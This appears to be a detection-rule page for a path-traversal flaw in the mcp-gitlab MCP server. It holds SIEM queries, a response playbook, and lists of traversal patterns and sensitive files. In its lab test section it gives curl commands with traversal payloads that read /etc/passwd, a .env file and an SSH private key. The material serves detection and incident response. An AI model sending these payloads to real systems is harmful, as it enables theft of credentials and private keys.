CVE-2026-61560

@zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560)

Detects exploitation of CVE-2026-61560, an unauthenticated path traversal (CWE-22) in the @zereight/mcp-gitlab (gitlab-mcp) MCP server prior to v2.1.27. The `upload_markdown` tool fails to sanitize file paths, allowing an attacker to read arbitrary files from the host via directory traversal sequences. This is commonly abused to exfiltrate GitLab Personal Access Tokens (PATs), MCP configuration files, and environment secrets stored on disk, leading to full GitLab account takeover. CVSS 9.8; public PoC available. Detection focuses on traversal patterns (`../`, encoded variants, absolute sensitive paths) hitting the MCP server's HTTP/stdio interface, process reads of sensitive files by the node/mcp-gitlab process, and outbound token exfiltration.

Vulnerability Intelligence

Public PoC

What is CVE-2026-61560 @zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560)?

@zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560) (CVE-2026-61560) maps to the Initial Access and Credential Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for @zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560), covering the data sources and telemetry it touches: W3CIISLog, Syslog. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Credential Access Collection
Microsoft Sentinel / Defender
kusto
let sensitiveTargets = dynamic(["/etc/passwd", "/etc/shadow", ".env", "config.json", ".gitlab", "id_rsa", "credentials"]);
let traversalPatterns = dynamic(["../", "..%2f", "..%5c", "%2e%2e%2f", "....//"]);
union isfuzzy=true
(
  W3CIISLog
  | where csUriStem has "upload_markdown" or csUriQuery has_any (traversalPatterns)
  | where csUriQuery has_any (traversalPatterns) or csUriStem has_any (traversalPatterns)
  | project TimeGenerated, SrcIp = cIP, Uri = strcat(csUriStem, "?", csUriQuery), Method = csMethod, Status = scStatus, Source = "IIS"
),
(
  Syslog
  | where ProcessName has_any ("node", "mcp-gitlab", "gitlab-mcp")
  | where SyslogMessage has "upload_markdown" and SyslogMessage has_any (traversalPatterns)
  | project TimeGenerated, SrcIp = HostIP, Uri = SyslogMessage, Method = "", Status = "", Source = "Syslog"
)
| extend HitSensitive = Uri has_any (sensitiveTargets)
| order by TimeGenerated desc

Surfaces path-traversal payloads targeting the upload_markdown MCP tool across IIS/proxy logs fronting the gitlab-mcp server and syslog from the node process, flagging requests that also reference sensitive file targets.

critical severity medium confidence

Data Sources

W3CIISLog Syslog

Required Tables

W3CIISLog Syslog

False Positives

  • Security scanners (Nessus, Burp, Nuclei) probing the MCP endpoint during authorized assessments.
  • Legitimate markdown uploads that contain literal '../' text inside code blocks or documentation.
  • Developers testing the upload_markdown tool with unusual but non-malicious relative paths in a lab.

Sigma rule & cross-platform mapping

The detection logic for @zereight/mcp-gitlab Unauthenticated Path Traversal Arbitrary File Read (CVE-2026-61560) (CVE-2026-61560) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1upload_markdown path traversal to /etc/passwd

    Expected signal: Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.

  2. Test 2URL-encoded traversal for .env exfiltration

    Expected signal: Access log with %2f-encoded traversal targeting .env; MCP application log records the request.

  3. Test 3Traversal to read SSH private key

    Expected signal: Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.


Response Playbook

Triage

  1. Confirm the running version of @zereight/mcp-gitlab on the host (`npm ls @zereight/mcp-gitlab` or check package.json/lockfile); versions < 2.1.27 are vulnerable.
  2. Extract the full traversal payload from the alert and resolve which file(s) were targeted (e.g. /etc/passwd, .env, PAT/credential stores).
  3. Determine whether the MCP server is exposed unauthenticated to the network or only via local stdio; network exposure sharply raises severity.
  4. Correlate the source IP against expected clients and check whether the same IP issued multiple traversal attempts or scanned other endpoints.

Containment

  1. Upgrade @zereight/mcp-gitlab to v2.1.27 or later immediately, or take the MCP server offline until patched.
  2. Rotate all GitLab Personal Access Tokens and any secrets stored in files reachable by the MCP process, as they must be presumed compromised.
  3. Restrict network access to the MCP server (bind to localhost / firewall) and require authentication in front of it.

Evidence Collection

  1. Preserve web/proxy/MCP application logs showing the upload_markdown requests, source IPs, and returned response sizes/status codes.
  2. Capture the MCP server process file-access audit records (auditd/EDR) showing which sensitive files were opened after the request.
  3. Snapshot the host filesystem state and the .env / credential files that were targeted for later comparison and forensic timeline.

Escalation Criteria

  • ! Escalate to incident response if a 200/successful response returned contents of a credential file or if PATs were subsequently used from an unexpected IP.
  • ! Escalate to GitLab platform owners if exfiltrated PATs show authenticated API activity (repo clones, new tokens, membership changes) indicating account takeover.

Investigation Guide

Forensic Artifacts

  • > Web/proxy access logs containing upload_markdown requests with traversal sequences and their response sizes.
  • > auditd/EDR file-open records for the node/mcp-gitlab process touching /etc/passwd, .env, id_rsa, or credential stores.
  • > GitLab audit events showing PAT usage from anomalous source IPs after the exploitation window.

Tuning Guidance

Baseline the legitimate clients and IPs that call the MCP server so scanner and automation noise can be excluded. If markdown documents frequently contain literal '../' strings, tighten the detection to require both a traversal sequence AND a sensitive-file target (as the sensitive flag does) before alerting. Once all servers are confirmed >= v2.1.27, downgrade to hunting-only.


Hunting Queries

Retrospective hunt for any upload_markdown request containing traversal sequences or sensitive-path references across MCP and web logs.

Hunting — KQL
kql
Syslog | where ProcessName has_any ("node","mcp-gitlab") | where SyslogMessage has "upload_markdown" and SyslogMessage has_any ("../","%2e%2e","/etc/",".env") | project TimeGenerated, HostName, SyslogMessage
Hunting — SPL
spl
index=mcp OR index=web "upload_markdown" | regex _raw="(?i)(\.\.\/|%2e%2e%2f)" | stats count values(_raw) by src_ip

Atomic Red Team Tests

Test 1 upload_markdown path traversal to /etc/passwd
linux

Sends a crafted upload_markdown request with directory traversal to read /etc/passwd from a lab gitlab-mcp instance.

Command

bash
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../etc/passwd","content":"x"}'

Cleanup

bash
echo 'no cleanup required; read-only request'

Expected Telemetry

Web/proxy log entry for POST /tools/upload_markdown with '../../../../etc/passwd' payload; file-open event for /etc/passwd by node process.

Expected Detection

KQL/SPL traversal rules fire with HitSensitive/sensitive=1 for /etc/passwd.

Test 2 URL-encoded traversal for .env exfiltration
linux

Uses URL-encoded traversal sequences to attempt reading an application .env file.

Command

bash
curl -s 'http://127.0.0.1:3000/tools/upload_markdown?filename=..%2f..%2f..%2f.env'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Access log with %2f-encoded traversal targeting .env; MCP application log records the request.

Expected Detection

Encoded-traversal patterns (..%2f/%2e%2e%2f) matched by all seven dialects; sensitive flag set for .env.

Test 3 Traversal to read SSH private key
macos

Attempts to read an id_rsa private key via traversal on macOS lab host running the MCP server.

Command

bash
curl -s -X POST http://127.0.0.1:3000/tools/upload_markdown -H 'Content-Type: application/json' -d '{"filename":"../../../../Users/lab/.ssh/id_rsa","content":"x"}'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Network HTTP event and file-open on id_rsa by the node/mcp-gitlab process.

Expected Detection

Traversal + id_rsa sensitive-target match triggers the network-then-file sequence rule (EQL) and single-event rules.

Related Detections